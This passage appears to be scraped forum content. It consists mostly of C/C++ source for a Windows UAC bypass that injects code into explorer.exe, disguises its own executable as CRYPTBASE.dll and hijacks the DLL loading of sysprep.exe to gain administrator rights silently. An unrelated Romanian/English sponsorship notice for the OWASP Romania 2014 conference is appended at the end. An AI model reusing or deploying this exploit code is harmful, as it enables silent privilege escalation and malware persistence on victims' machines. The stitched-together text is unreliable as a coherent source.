process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO); Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; Args->shinfo.lpFile = Args->szElevExeFull; Args->shinfo.lpParameters = Args->szElevArgs; Args->shinfo.lpDirectory = Args->szElevDir; Args->shinfo.nShow = SW_SHOW; // update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible) if ((Status = FShellExecuteEx(&Args->shinfo))) { Args->FCloseHandle(Args->shinfo.hProcess); } } // clean-up if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } FCoUninitialize(); Args->FFreeLibrary(ModuleShell32); Args->FFreeLibrary(ModuleOle32); return Status; } // returns 1 when you can expect everything worked fine! int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll) { NTSTATUS Status = 0; const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc; const BYTE * codeEndAdr = (BYTE *)AttemptOperation; if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap return 0; // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list. // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one. // set up arguments InjectArgs ia; memset(&ia, 0, sizeof(ia)); ia.FFreeLibrary = FreeLibrary; ia.FLoadLibrary = LoadLibrary; ia.FGetProcAddress = GetProcAddress; ia.FCloseHandle = CloseHandle; ia.FWaitForSingleObject = WaitForSingleObject; wcscpy(ia.NameShell32, L"shell32.dll"); wcscpy(ia.NameOle32, L"ole32.dll"); strcpy(ia.NameCoInitialize, "CoInitialize"); strcpy(ia.NameCoUninitialize, "CoUninitialize"); strcpy(ia.NameCoGetObject, "CoGetObject"); strcpy(ia.NameCoCreateInstance, "CoCreateInstance"); strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName"); strcpy(ia.NameShellExecuteExW, "ShellExecuteExW"); wchar_t SystemDirectory[MAX_PATH]; if (!GetSystemDirectory(SystemDirectory, MAX_PATH)) return 0; wcscpy(ia.szSourceDll, szPathToOurDll); wcscpy(ia.szElevDir, SystemDirectory); wcscat(ia.szElevDir, L"\\sysprep"); wcscpy(ia.szElevDll, L"CRYPTBASE.dll"); wcscpy(ia.szElevExeFull, SystemDirectory); wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe"); wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}"); memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID)); memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID)); memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID)); if (!bInject) { // Test code without remoting. // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin. Status = RemoteCodeFunc(&ia); } else { // Test code with remoting. // At least as of RC1 build 7100, with the default OS settings, this will run the specified command // with elevation but without triggering a UAC prompt. void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE); if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL)) return 0; void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ); if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL)) return 0; HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL); if (!hRemoteThread) return 0; // intelligent logit to wait for the execution and grabbing the exit code DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000); if (dwWaitRes == WAIT_OBJECT_0) GetExitCodeThread(hRemoteThread, (DWORD *)&Status); CloseHandle(hRemoteThread); } return Status; } int UACBypass() { // Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?) DWORD Processes[1024], BytesReturned; if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned)) return 0; HANDLE TargetProcess = NULL; for (unsigned i = 0; i < BytesReturned / 4; i++) { if (Processes != 0) { TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes); // Get the process name. if (TargetProcess) { HMODULE hMod; DWORD cbNeeded; if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) ) { wchar_t ProcessName[MAX_PATH]; GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) ); if (_wcsicmp(ProcessName, L"explorer.exe") == 0) break; } CloseHandle(TargetProcess); TargetProcess = NULL; } } } if (!TargetProcess) return 0; // Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header wchar_t SelfFileName[MAX_PATH]; if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH)) { CloseHandle(TargetProcess); return 0; } wchar_t FakeCrytbase[MAX_PATH]; GetTempPathW(MAX_PATH, FakeCrytbase); GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase); if (!CopyFile(SelfFileName, FakeCrytbase, 0)) { CloseHandle(TargetProcess); return 0; } HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (FakeFile == INVALID_HANDLE_VALUE) { CloseHandle(TargetProcess); return 0; } DWORD NumberOfBytesRead; BYTE ImageHeader[4096]; if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader; PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew]; // set the dll flag (IMAGE_FILE_DLL) old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL; DWORD NumberOfBytesWritten; if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } CloseHandle(FakeFile); // Step 3: Using the exploit NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase); CloseHandle(TargetProcess); DeleteFile(FakeCrytbase); // exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights if (Status) ExitProcess(1); return 1; } Sursa: [C/C++] UAC Bypass - Source Codes - rohitab.com - Forums

OWASP Romania InfoSec Conference 2014 este o conferinta de o zi pe teme de securitate si hacking ce va avea loc pe 24 octombrie 2014 in Bucuresti. De ce sa sposorizez? Veti fi alaturi de 200+ leaderi, consultanti de securitate, arhitecti de securitate si programatori veniti sa schimbe idei despre initiative si noutatile tehnologice. Evenimentele OWASP atrag o audienta interesata de "What's next?" in securitatea IT - Sponsorul va fi promovat ca raspuns la aceasta intrebare. Cresterea gradului de constientizare si recunoasterea in comunitatea de securitate IT din Romania Sustineti si jucati un rol activ in lumea pasionatilor de securitate a informatiei. OWASP Romania InfoSec Conference 2014 is a one day security and hacking conference. It will take place on 24th of October, 2014 - Bucharest, Romania. Why sponsor? Join 200+ leaders, security consultants, security architects and developers gathered to share cutting-edge ideas, initiatives and trends in technology. OWASP events attract an audience interested in "What's next?" - As a sponsor, you will be promoted as an answer to this question. Increase awareness and recognition in the Romanian Security IT environment. Support and involvement in the world of information security enthusiasts.